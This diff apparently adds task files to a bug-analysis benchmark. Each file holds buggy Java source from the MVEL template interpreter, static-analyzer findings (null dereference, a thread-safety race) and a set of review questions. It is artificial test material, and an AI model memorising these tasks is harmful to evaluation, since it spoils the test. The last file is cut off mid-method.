+### Node Key:
+0263e4bc80ce750ad633f9571b7d6915
+
+### Hash:
+6076bbd602d13770bba2c4cfe6d47a1d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4761/instruction.md b/inferredbugs-4761/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5086525ba8bdc65faf1bb5309b8f1dbbe0ab72b6
--- /dev/null
+++ b/inferredbugs-4761/instruction.md
@@ -0,0 +1,718 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mvel
+**Bug ID:** 29
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * MVEL (The MVFLEX Expression Language)
+ *
+ * Copyright (C) 2007 Christopher Brock, MVFLEX/Valhalla Project and the Codehaus
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package org.mvel;
+
+import static org.mvel.MVEL.compileExpression;
+import static org.mvel.MVEL.executeExpression;
+import static org.mvel.NodeType.*;
+import org.mvel.TemplateCompiler.IncludeRef;
+import org.mvel.TemplateCompiler.IncludeRefParam;
+import org.mvel.util.ExecutionStack;
+import org.mvel.util.StringAppender;
+
+import java.io.*;
+import static java.lang.String.valueOf;
+import static java.lang.System.arraycopy;
+import java.nio.ByteBuffer;
+import static java.nio.ByteBuffer.allocateDirect;
+import java.nio.channels.ReadableByteChannel;
+import java.util.*;
+import static java.util.Collections.synchronizedMap;
+
+/**
+ * The MVEL Template Interpreter.  Naming this an "Interpreter" is not inaccurate.   All template expressions
+ * are pre-compiled by the the {@link TemplateCompiler} prior to being processed by this interpreter.<br/>
+ * <br/>
+ * Under normal circumstances, it is completely acceptable to execute the parser/interpreter from the static
+ * convenience methods in this class.
+ *
+ * @author Christopher Brock
+ */
+public class TemplateInterpreter {
+
+    public static boolean cacheAggressively = false;
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template - the template to be evaluated
+     * @param ctx      - the virtual root / context of the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Object ctx) {
+        return valueOf(eval(template, ctx));
+    }
+
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template  - the template to be evaluated
+     * @param variables - a map of variables for use in the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Map variables) {
+        return valueOf(eval(template, variables));
+    }
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template  - the template to be evaluated
+     * @param ctx       - the virtual root / context of the expression.
+     * @param variables - a map of variables for use in the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Object ctx, Map variables) {
+        return valueOf(eval(template, ctx, variables));
+    }
+
+    /**
+     * @param template - the template to be evaluated
+     * @param ctx      - the virtual root / context of the expression.
+     * @return see description.
+     * @see #eval(String,Object,Map)
+     */
+    public static Object eval(String template, Object ctx) {
+        if (template == null) return null;
+        return new TemplateInterpreter(template).execute(ctx, null);
+    }
+
+    /**
+     * @param template  - the template to be evaluated
+     * @param variables - a map of variables for use in the expression.
+     * @return see description.
+     * @see #eval(String,Object,Map)
+     */
+    public static Object eval(String template, Map variables) {
+        //noinspection unchecked
+        return new TemplateInterpreter(template).execute(null, variables);
+    }
+
+    /**
+     * Compiles, interprets and returns the result from a template.  The value that this returns is dependant
+     * on whether or not the template actually contains any literal values.<br/>
+     * <br/>
+     * For example, an expression that is simply "<tt>@{foobar}</tt>" will return the value of <tt>foobar</tt>,
+     * not a string value.  An expression that only contains a single tag is a defacto expression and is not
+     * considered a template.<br/>
+     * <br/>
+     * An expression such as "<tt>Hello my name is: @{name}</tt>" will return the a String value as it clearly a
+     * template.<br/>
+     *
+     * @param template  - the template to be evaluated
+     * @param ctx       - the virtual root / context of the expression.
+     * @param variables - a map of variables for use in the expression.
+     * @return see description.
+     */
+    public static Object eval(String template, Object ctx, Map variables) {
+        if (template == null) return null;
+        //noinspection unchecked
+        return new TemplateInterpreter(template).execute(ctx, variables);
+    }
+
+    private char[] expression;
+    private boolean debug = false;
+    private Node[] nodes;
+    private int node = 0;
+
+    private static final Map<CharSequence, char[]> EX_PRECACHE;
+    private static final Map<Object, Node[]> EX_NODE_CACHE;
+    private static final Map<Object, Serializable> EX_PRECOMP_CACHE;
+
+    static {
+        if (MVEL.THREAD_SAFE) {
+            EX_PRECACHE = synchronizedMap(new WeakHashMap<CharSequence, char[]>());
+            EX_NODE_CACHE = synchronizedMap(new WeakHashMap<Object, Node[]>());
+            EX_PRECOMP_CACHE = synchronizedMap(new WeakHashMap<Object, Serializable>());
+        }
+        else if (MVEL.WEAK_CACHE || MVEL.NO_JIT) {
+            EX_PRECACHE = (new WeakHashMap<CharSequence, char[]>());
+            EX_NODE_CACHE = (new WeakHashMap<Object, Node[]>());
+            EX_PRECOMP_CACHE = (new WeakHashMap<Object, Serializable>());
+        }
+        else {
+            EX_PRECACHE = (new HashMap<CharSequence, char[]>());
+            EX_NODE_CACHE = (new HashMap<Object, Node[]>());
+            EX_PRECOMP_CACHE = (new HashMap<Object, Serializable>());
+        }
+    }
+
+    static void configureFactory() {
+    }
+
+    private ExecutionStack stack;
+
+    /**
+     * Creates a new intepreter
+     *
+     * @param template -
+     */
+    public TemplateInterpreter(CharSequence template) {
+        synchronized (Runtime.getRuntime()) {
+
+            if (!EX_PRECACHE.containsKey(template)) {
+                EX_PRECACHE.put(template, this.expression = template.toString().toCharArray());
+                nodes = new TemplateCompiler(this).compileExpression();
+                Node[] nodes = cloneAll(EX_NODE_CACHE.get(expression));
+
+                EX_NODE_CACHE.put(template, nodes);
+            }
+            else {
+                this.expression = EX_PRECACHE.get(template);
+                try {
+                    this.nodes = cloneAll(EX_NODE_CACHE.get(expression));
+                }
+                catch (NullPointerException e) {
+                    EX_NODE_CACHE.remove(expression);
+                    nodes = new TemplateCompiler(this).compileExpression();
+                    EX_NODE_CACHE.put(expression, cloneAll(nodes));
+                }
+
+            }
+
+        }
+
+        //    cloneAllNodes();
+
+    }
+
+    private Node[] cloneAll(Node[] nodes) {
+        Node[] newNodes = new Node[nodes.length];
+
+        try {
+            int i = 0;
+            for (Node n : nodes) {
+                newNodes[i++] = n.clone();
+            }
+        }
+        catch (CloneNotSupportedException e) {
+
+        }
+
+        return newNodes;
+    }
+
+
+    public TemplateInterpreter(String expression) {
+        synchronized (Runtime.getRuntime()) {
+            if (!EX_PRECACHE.containsKey(expression)) {
+                EX_PRECACHE.put(expression, this.expression = expression.toCharArray());
+                nodes = new TemplateCompiler(this).compileExpression();
+                EX_NODE_CACHE.put(expression, nodes);
+                this.nodes = cloneAll(nodes);
+            }
+            else {
+                this.expression = EX_PRECACHE.get(expression);
+                try {
+                    this.nodes = cloneAll(EX_NODE_CACHE.get(expression));
+                }
+                catch (NullPointerException e) {
+                    EX_NODE_CACHE.remove(expression);
+                    nodes = new TemplateCompiler(this).compileExpression();
+                    EX_NODE_CACHE.put(expression, nodes);
+                    this.nodes = cloneAll(nodes);
+                }
+            }
+        }
+    }
+
+    public TemplateInterpreter(char[] expression) {
+        this.expression = expression;
+    }
+
+    public boolean isDebug() {
+        return debug;
+    }
+
+    public void setDebug(boolean debug) {
+        this.debug = debug;
+    }
+
+    public static void parseToStream(File template, Object ctx, Map tokens, OutputStream out)
+            throws IOException {
+
+        //noinspection unchecked
+        Object result = parse(template, ctx, tokens);
+        CharSequence cs;
+
+        if (result == null) return;
+        else if (result instanceof CharSequence) {
+            cs = (CharSequence) result;
+        }
+        else {
+            cs = valueOf(result);
+        }
+
+        OutputStreamWriter writer = new OutputStreamWriter(out);
+
+        int len = cs.length();
+        for (int i = 0; i < len; i++) {
+            writer.write(cs.charAt(i));
+        }
+        writer.flush();
+        writer.close();
+    }
+
+    public static Object parse(File file, Object ctx, Map tokens) throws IOException {
+        return parse(file, ctx, tokens, null);
+    }
+
+    public static Object parse(File file, Object ctx, Map tokens, TemplateRegistry registry) throws IOException {
+        if (!file.exists())
+            throw new CompileException("cannot find file: " + file.getName());
+
+        FileInputStream inStream = null;
+        ReadableByteChannel fc = null;
+        try {
+            inStream = new FileInputStream(file);
+            fc = inStream.getChannel();
+            ByteBuffer buf = allocateDirect(10);
+
+            StringAppender sb = new StringAppender((int) file.length());
+
+            int read = 0;
+            while (read >= 0) {
+                buf.rewind();
+                read = fc.read(buf);
+                buf.rewind();
+
+                for (; read > 0; read--) {
+                    sb.append((char) buf.get());
+                }
+            }
+
+            //noinspection unchecked
+            return parse(sb, ctx, tokens, registry);
+
+        }
+        catch (FileNotFoundException e) {
+            // this can't be thrown, we check for this explicitly.
+        }
+        finally {
+            if (inStream != null) inStream.close();
+            if (fc != null) fc.close();
+        }
+
+        return null;
+    }
+
+    public static Object parse(CharSequence expression, Object ctx, Map vars) {
+        return parse(expression, ctx, vars, null);
+    }
+
+    public static Object parse(CharSequence expression, Object ctx, Map vars, TemplateRegistry registry) {
+        if (expression == null) return null;
+        //noinspection unchecked
+        return new TemplateInterpreter(expression).execute(ctx, vars, registry);
+    }
+
+    public static Object parse(String expression, Object ctx, Map vars) {
+        return parse(expression, ctx, vars, null);
+    }
+
+    public static Object parse(String expression, Object ctx, Map vars, TemplateRegistry registry) {
+        if (expression == null) return null;
+
+        //noinspection unchecked
+        return new TemplateInterpreter(expression).execute(ctx, vars, registry);
+    }
+
+    public Object execute(Object ctx, Map tokens) {
+        return execute(ctx, tokens, null);
+    }
+
+    public Object execute(Object ctx, Map tokens, TemplateRegistry registry) {
+        if (nodes == null) {
+            return new String(expression);
+        }
+        else if (nodes.length == 2) {
+            /**
+             * This is an optimization for property expressions.
+             */
+            switch (nodes[0].getToken()) {
+                case PROPERTY_EX:
+                    //noinspection unchecked
+                    if (!cacheAggressively) {
+                        char[] seg = new char[expression.length - 3];
+                        arraycopy(expression, 2, seg, 0, seg.length);
+
+                        return MVEL.eval(seg, ctx, tokens);
+                    }
+                    else {
+                        String s = new String(expression, 2, expression.length - 3);
+                        if (!EX_PRECOMP_CACHE.containsKey(s)) {
+                            synchronized (EX_PRECOMP_CACHE) {
+                                EX_PRECOMP_CACHE.put(s, compileExpression(s));
+                                return executeExpression(EX_PRECOMP_CACHE.get(s), ctx, tokens);
+                            }
+                        }
+                        else {
+                            return executeExpression(EX_PRECOMP_CACHE.get(s), ctx, tokens);
+                        }
+
+                    }
+                case LITERAL:
+                    return new String(expression);
+
+            }
+
+            return new String(expression);
+        }
+
+        Object register = null;
+
+        StringAppender sbuf = new StringAppender(10);
+        Node currNode = null;
+
+        try {
+            //noinspection unchecked
+            MVELInterpretedRuntime oParser = new MVELInterpretedRuntime(ctx, tokens);
+
+            initStack();
+            pushAndForward();
+
+            while ((currNode = pop()) != null) {
+                node = currNode.getNode();
+
+                switch (currNode.getToken()) {
+                    case LITERAL: {
+                        sbuf.append(register = new String(expression, currNode.getStartPos(),
+                                currNode.getEndPos() - currNode.getStartPos()));
+                        break;
+                    }
+                    case PROPERTY_EX: {
+                        sbuf.append(
+                                valueOf(register = oParser.setExpressionArray(getInternalSegment(currNode)).parse())
+                        );
+                        break;
+                    }
+                    case IF:
+                    case ELSEIF: {
+                        try {
+                            if (!((Boolean) oParser.setExpressionArray(getInternalSegment(currNode)).parse())) {
+                                exitContext();
+                            }
+                        }
+                        catch (ClassCastException e) {
+                            throw new CompileException("IF expression does not return a boolean: " + new String(getSegment(currNode)));
+                        }
+                        break;
+                    }
+                    case FOREACH: {
+                        ForeachContext foreachContext = (ForeachContext) currNode.getRegister();
+                        if (foreachContext.getItererators() == null) {
+                            try {
+                                String[] lists = getForEachSegment(currNode).split(",");
+                                Iterator[] iters = new Iterator[lists.length];
+                                for (int i = 0; i < lists.length; i++) {
+                                    //noinspection unchecked
+                                    Object listObject = new MVELInterpretedRuntime(lists[i], ctx, tokens).parse();
+                                    if (listObject instanceof Object[]) {
+                                        listObject = Arrays.asList((Object[]) listObject);
+                                    }
+                                    iters[i] = ((Collection) listObject).iterator();
+                                }
+                                foreachContext.setIterators(iters);
+                            }
+                            catch (ClassCastException e) {
+                                throw new CompileException("expression for collections does not return a collections object: " + new String(getSegment(currNode)));
+                            }
+                            catch (NullPointerException e) {
+                                throw new CompileException("null returned for foreach in expression: " + (getForEachSegment(currNode)));
+                            }
+                        }
+
+                        Iterator[] iters = foreachContext.getItererators();
+                        String[] alias = currNode.getAlias().split(",");
+                        // must trim vars
+                        for (int i = 0; i < alias.length; i++) {
+                            alias[i] = alias[i].trim();
+                        }
+
+                        if (iters[0].hasNext()) {
+                            push();
+
+                            //noinspection unchecked
+                            for (int i = 0; i < iters.length; i++) {
+                                //noinspection unchecked
+                                tokens.put(alias[i], iters[i].next());
+                            }
+                            if (foreachContext.getCount() != 0) {
+                                sbuf.append(foreachContext.getSeperator());
+                            }
+                            //noinspection unchecked
+                            tokens.put("i0", foreachContext.getCount());
+                            foreachContext.setCount(foreachContext.getCount() + 1);
+                        }
+                        else {
+                            for (int i = 0; i < iters.length; i++) {
+                                tokens.remove(alias[i]);
+                            }
+                            foreachContext.setIterators(null);
+                            foreachContext.setCount(0);
+                            exitContext();
+                        }
+                        break;
+                    }
+                    case ELSE:
+                    case END:
+                        if (stack.isEmpty()) forwardAndPush();
+                        continue;
+                    case GOTO:
+                        pushNode(currNode.getEndNode());
+                        continue;
+                    case TERMINUS: {
+                        if (nodes.length != 2) {
+                            return sbuf.toString();
+                        }
+                        else {
+                            return register;
+                        }
+                    }
+                    case INCLUDE_BY_REF: {
+                        IncludeRef includeRef = (IncludeRef) nodes[node].getRegister();
+
+                        IncludeRefParam[] params = includeRef.getParams();
+                        Map<String, Object> vars = new HashMap<String, Object>(params.length * 2);
+                        for (IncludeRefParam param : params) {
+                            vars.put(param.getIdentifier(), MVEL.eval(param.getValue(), ctx, tokens));
+                        }
+
+                        if (registry == null) {
+                            throw new CompileException("No TemplateRegistry specified, cannot load template='" + includeRef.getName() + "'");
+                        }
+                        String template = registry.getTemplate(includeRef.getName());
+
+                        if (template == null) {
+                            throw new CompileException("Template does not exist in the TemplateRegistry, cannot load template='" + includeRef.getName() + "'");
+                        }
+
+                        sbuf.append(TemplateInterpreter.parse(template, ctx, vars, registry));
+                    }
+                }
+
+                forwardAndPush();
+            }
+            throw new CompileException("expression did not end properly: expected TERMINUS node");
+        }
+        catch (CompileException e) {
+            throw e;
+        }
+        catch (Exception e) {
+            if (currNode != null) {
+                throw new CompileException("problem encountered at node [" + currNode.getNode() + "] "
+                        + currNode.getToken() + "{" + currNode.getStartPos() + "," + currNode.getEndPos() + "}: " + e.getMessage(), e);
+            }
+            throw new CompileException("unhandled fatal exception (node:" + node + ")", e);
+        }
+    }
+
+    private void initStack() {
+        stack = new ExecutionStack();
+    }
+
+    private void push() {
+        push(nodes[node]);
+    }
+
+    private void push(Node node) {
+        if (node == null) return;
+        stack.push(node);
+    }
+
+    private void pushNode(int i) {
+        stack.push(nodes[i]);
+    }
+
+    private void exitContext() {
+        node = nodes[node].getEndNode() - 1;
+    }
+
+    public void forwardAndPush() {
+        node++;
+        push();
+    }
+
+    private void pushAndForward() {
+        push();
+        node++;
+    }
+
+    private Node pop() {
+        return (Node) stack.pop();
+    }
+
+    /**
+     * @param expression -
+     * @param ctx        -
+     * @param tokens     -
+     * @return -
+     * @deprecated
+     */
+    public static Object getValuePE(String expression, Object ctx, Map tokens) {
+        return new TemplateInterpreter(expression).execute(ctx, tokens);
+    }
+
+
+    /**
+     * @param expression -
+     * @param ctx        -
+     * @param preParseCx -
+     * @param value      -
+     * @deprecated
+     */
+    public static void setValuePE(String expression, Object ctx, Object preParseCx, Object value) {
+        PropertyAccessor.set(ctx, valueOf(eval(expression, preParseCx)), value);
+    }
+
+    public char[] getExpression() {
+        return expression;
+    }
+
+    public void setExpression(char[] expression) {
+        this.expression = expression;
+    }
+
+    private char[] getSegment(Node n) {
+        char[] ca = new char[n.getLength()];
+        arraycopy(expression, n.getStartPos(), ca, 0, ca.length);
+        return ca;
+    }
+
+    private char[] getInternalSegment(Node n) {
+        int start = n.getStartPos();
+        int depth = 1;
+
+        //noinspection StatementWithEmptyBody
+        while ((expression[start++] != '{')) ;
+
+        int end = start;
+        while (depth > 0) {
+            switch (expression[++end]) {
+                case'}':
+                    depth--;
+                    break;
+                case'{':
+                    depth++;
+                    break;
+            }
+        }
+
+        char[] ca = new char[end - start];
+        arraycopy(expression, start, ca, 0, ca.length);
+        return ca;
+    }
+
+    private String getForEachSegment(Node n) {
+        if (n.getAlias() == null) return new String(getInternalSegment(n));
+        else {
+            return n.getName();
+        }
+    }
+
+    public static boolean isCacheAggressively() {
+        return cacheAggressively;
+    }
+
+    public static void setCacheAggressively(boolean cacheAggressively) {
+        TemplateInterpreter.cacheAggressively = cacheAggressively;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.mvel.TemplateInterpreter.execute` indirectly reads without synchronization from `foreachContext.org.mvel.ForeachContext.iter`. Potentially races with write in method `TemplateInterpreter.parse(...)`.
+ Reporting because this access may occur on a background thread.
+
+Note that the prefix path foreachContext has been contaminated during the execution, so the reported race on foreachContext.org.mvel.ForeachContext.iter might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object TemplateInterpreter.execute(Object,Map,TemplateRegistry)
+
+### Procedure Id:
+org.mvel.TemplateInterpreter.execute(java.lang.Object,java.util.Map,org.mvel.TemplateRegistry):java..1141972e8c077bf084811e3faa3e1296
+
+### File:
+src/main/java/org/mvel/TemplateInterpreter.java
+
+### Key:
+TemplateInterpreter.java|execute|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+625f0de9e4b36fc4692956708becd954
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4766/instruction.md b/inferredbugs-4766/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..771b53bd0a2aa1b4085a721c3556988c9da64d23
--- /dev/null
+++ b/inferredbugs-4766/instruction.md
@@ -0,0 +1,716 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mvel
+**Bug ID:** 28
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * MVEL (The MVFLEX Expression Language)
+ *
+ * Copyright (C) 2007 Christopher Brock, MVFLEX/Valhalla Project and the Codehaus
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package org.mvel;
+
+import static org.mvel.MVEL.compileExpression;
+import static org.mvel.MVEL.executeExpression;
+import static org.mvel.NodeType.*;
+import org.mvel.TemplateCompiler.IncludeRef;
+import org.mvel.TemplateCompiler.IncludeRefParam;
+import org.mvel.util.ExecutionStack;
+import org.mvel.util.StringAppender;
+
+import java.io.*;
+import static java.lang.String.valueOf;
+import static java.lang.System.arraycopy;
+import java.nio.ByteBuffer;
+import static java.nio.ByteBuffer.allocateDirect;
+import java.nio.channels.ReadableByteChannel;
+import java.util.*;
+import static java.util.Collections.synchronizedMap;
+
+/**
+ * The MVEL Template Interpreter.  Naming this an "Interpreter" is not inaccurate.   All template expressions
+ * are pre-compiled by the the {@link TemplateCompiler} prior to being processed by this interpreter.<br/>
+ * <br/>
+ * Under normal circumstances, it is completely acceptable to execute the parser/interpreter from the static
+ * convenience methods in this class.
+ *
+ * @author Christopher Brock
+ */
+public class TemplateInterpreter {
+
+    public static boolean cacheAggressively = false;
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template - the template to be evaluated
+     * @param ctx      - the virtual root / context of the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Object ctx) {
+        return valueOf(eval(template, ctx));
+    }
+
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template  - the template to be evaluated
+     * @param variables - a map of variables for use in the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Map variables) {
+        return valueOf(eval(template, variables));
+    }
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template  - the template to be evaluated
+     * @param ctx       - the virtual root / context of the expression.
+     * @param variables - a map of variables for use in the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Object ctx, Map variables) {
+        return valueOf(eval(template, ctx, variables));
+    }
+
+    /**
+     * @param template - the template to be evaluated
+     * @param ctx      - the virtual root / context of the expression.
+     * @return see description.
+     * @see #eval(String,Object,Map)
+     */
+    public static Object eval(String template, Object ctx) {
+        if (template == null) return null;
+        return new TemplateInterpreter(template).execute(ctx, null);
+    }
+
+    /**
+     * @param template  - the template to be evaluated
+     * @param variables - a map of variables for use in the expression.
+     * @return see description.
+     * @see #eval(String,Object,Map)
+     */
+    public static Object eval(String template, Map variables) {
+        //noinspection unchecked
+        return new TemplateInterpreter(template).execute(null, variables);
+    }
+
+    /**
+     * Compiles, interprets and returns the result from a template.  The value that this returns is dependant
+     * on whether or not the template actually contains any literal values.<br/>
+     * <br/>
+     * For example, an expression that is simply "<tt>@{foobar}</tt>" will return the value of <tt>foobar</tt>,
+     * not a string value.  An expression that only contains a single tag is a defacto expression and is not
+     * considered a template.<br/>
+     * <br/>
+     * An expression such as "<tt>Hello my name is: @{name}</tt>" will return the a String value as it clearly a
+     * template.<br/>
+     *
+     * @param template  - the template to be evaluated
+     * @param ctx       - the virtual root / context of the expression.
+     * @param variables - a map of variables for use in the expression.
+     * @return see description.
+     */
+    public static Object eval(String template, Object ctx, Map variables) {
+        if (template == null) return null;
+        //noinspection unchecked
+        return new TemplateInterpreter(template).execute(ctx, variables);
+    }
+
+    private char[] expression;
+    private boolean debug = false;
+    private Node[] nodes;
+    private int node = 0;
+
+    private static final Map<CharSequence, char[]> EX_PRECACHE;
+    private static final Map<Object, Node[]> EX_NODE_CACHE;
+    private static final Map<Object, Serializable> EX_PRECOMP_CACHE;
+
+    static {
+        if (MVEL.THREAD_SAFE) {
+            EX_PRECACHE = synchronizedMap(new WeakHashMap<CharSequence, char[]>());
+            EX_NODE_CACHE = synchronizedMap(new WeakHashMap<Object, Node[]>());
+            EX_PRECOMP_CACHE = synchronizedMap(new WeakHashMap<Object, Serializable>());
+        }
+        else if (MVEL.WEAK_CACHE || MVEL.NO_JIT) {
+            EX_PRECACHE = (new WeakHashMap<CharSequence, char[]>());
+            EX_NODE_CACHE = (new WeakHashMap<Object, Node[]>());
+            EX_PRECOMP_CACHE = (new WeakHashMap<Object, Serializable>());
+        }
+        else {
+            EX_PRECACHE = (new HashMap<CharSequence, char[]>());
+            EX_NODE_CACHE = (new HashMap<Object, Node[]>());
+            EX_PRECOMP_CACHE = (new HashMap<Object, Serializable>());
+        }
+    }
+
+    static void configureFactory() {
+    }
+
+    private ExecutionStack stack;
+
+    /**
+     * Creates a new intepreter
+     *
+     * @param template -
+     */
+    public TemplateInterpreter(CharSequence template) {
+        synchronized (Runtime.getRuntime()) {
+
+            if (!EX_PRECACHE.containsKey(template)) {
+                EX_PRECACHE.put(template, this.expression = template.toString().toCharArray());
+                nodes = new TemplateCompiler(this).compileExpression();
+                Node[] nodes = cloneAll(EX_NODE_CACHE.get(expression));
+
+                EX_NODE_CACHE.put(template, nodes);
+            }
+            else {
+                this.expression = EX_PRECACHE.get(template);
+                try {
+                    this.nodes = cloneAll(EX_NODE_CACHE.get(expression));
+                }
+                catch (NullPointerException e) {
+                    EX_NODE_CACHE.remove(expression);
+                    nodes = new TemplateCompiler(this).compileExpression();
+                    EX_NODE_CACHE.put(expression, cloneAll(nodes));
+                }
+
+            }
+
+        }
+
+        //    cloneAllNodes();
+
+    }
+
+    private Node[] cloneAll(Node[] nodes) {
+        Node[] newNodes = new Node[nodes.length];
+
+        try {
+            int i = 0;
+            for (Node n : nodes) {
+                newNodes[i++] = n.clone();
+            }
+        }
+        catch (CloneNotSupportedException e) {
+
+        }
+
+        return newNodes;
+    }
+
+
+    public TemplateInterpreter(String expression) {
+        synchronized (Runtime.getRuntime()) {
+            if (!EX_PRECACHE.containsKey(expression)) {
+                EX_PRECACHE.put(expression, this.expression = expression.toCharArray());
+                nodes = new TemplateCompiler(this).compileExpression();
+                EX_NODE_CACHE.put(expression, nodes);
+                this.nodes = cloneAll(nodes);
+            }
+            else {
+                this.expression = EX_PRECACHE.get(expression);
+                try {
+                    this.nodes = cloneAll(EX_NODE_CACHE.get(expression));
+                }
+                catch (NullPointerException e) {
+                    EX_NODE_CACHE.remove(expression);
+                    nodes = new TemplateCompiler(this).compileExpression();
+                    EX_NODE_CACHE.put(expression, nodes);
+                    this.nodes = cloneAll(nodes);
+                }
+            }
+        }
+    }
+
+    public TemplateInterpreter(char[] expression) {
+        this.expression = expression;
+    }
+
+    public boolean isDebug() {
+        return debug;
+    }
+
+    public void setDebug(boolean debug) {
+        this.debug = debug;
+    }
+
+    public static void parseToStream(File template, Object ctx, Map tokens, OutputStream out)
+            throws IOException {
+
+        //noinspection unchecked
+        Object result = parse(template, ctx, tokens);
+        CharSequence cs;
+
+        if (result == null) return;
+        else if (result instanceof CharSequence) {
+            cs = (CharSequence) result;
+        }
+        else {
+            cs = valueOf(result);
+        }
+
+        OutputStreamWriter writer = new OutputStreamWriter(out);
+
+        int len = cs.length();
+        for (int i = 0; i < len; i++) {
+            writer.write(cs.charAt(i));
+        }
+        writer.flush();
+        writer.close();
+    }
+
+    public static Object parse(File file, Object ctx, Map tokens) throws IOException {
+        return parse(file, ctx, tokens, null);
+    }
+
+    public static Object parse(File file, Object ctx, Map tokens, TemplateRegistry registry) throws IOException {
+        if (!file.exists())
+            throw new CompileException("cannot find file: " + file.getName());
+
+        FileInputStream inStream = null;
+        ReadableByteChannel fc = null;
+        try {
+            inStream = new FileInputStream(file);
+            fc = inStream.getChannel();
+            ByteBuffer buf = allocateDirect(10);
+
+            StringAppender sb = new StringAppender((int) file.length());
+
+            int read = 0;
+            while (read >= 0) {
+                buf.rewind();
+                read = fc.read(buf);
+                buf.rewind();
+
+                for (; read > 0; read--) {
+                    sb.append((char) buf.get());
+                }
+            }
+
+            //noinspection unchecked
+            return parse(sb, ctx, tokens, registry);
+
+        }
+        catch (FileNotFoundException e) {
+            // this can't be thrown, we check for this explicitly.
+        }
+        finally {
+            if (inStream != null) inStream.close();
+            if (fc != null) fc.close();
+        }
+
+        return null;
+    }
+
+    public static Object parse(CharSequence expression, Object ctx, Map vars) {
+        return parse(expression, ctx, vars, null);
+    }
+
+    public static Object parse(CharSequence expression, Object ctx, Map vars, TemplateRegistry registry) {
+        if (expression == null) return null;
+        //noinspection unchecked
+        return new TemplateInterpreter(expression).execute(ctx, vars, registry);
+    }
+
+    public static Object parse(String expression, Object ctx, Map vars) {
+        return parse(expression, ctx, vars, null);
+    }
+
+    public static Object parse(String expression, Object ctx, Map vars, TemplateRegistry registry) {
+        if (expression == null) return null;
+
+        //noinspection unchecked
+        return new TemplateInterpreter(expression).execute(ctx, vars, registry);
+    }
+
+    public Object execute(Object ctx, Map tokens) {
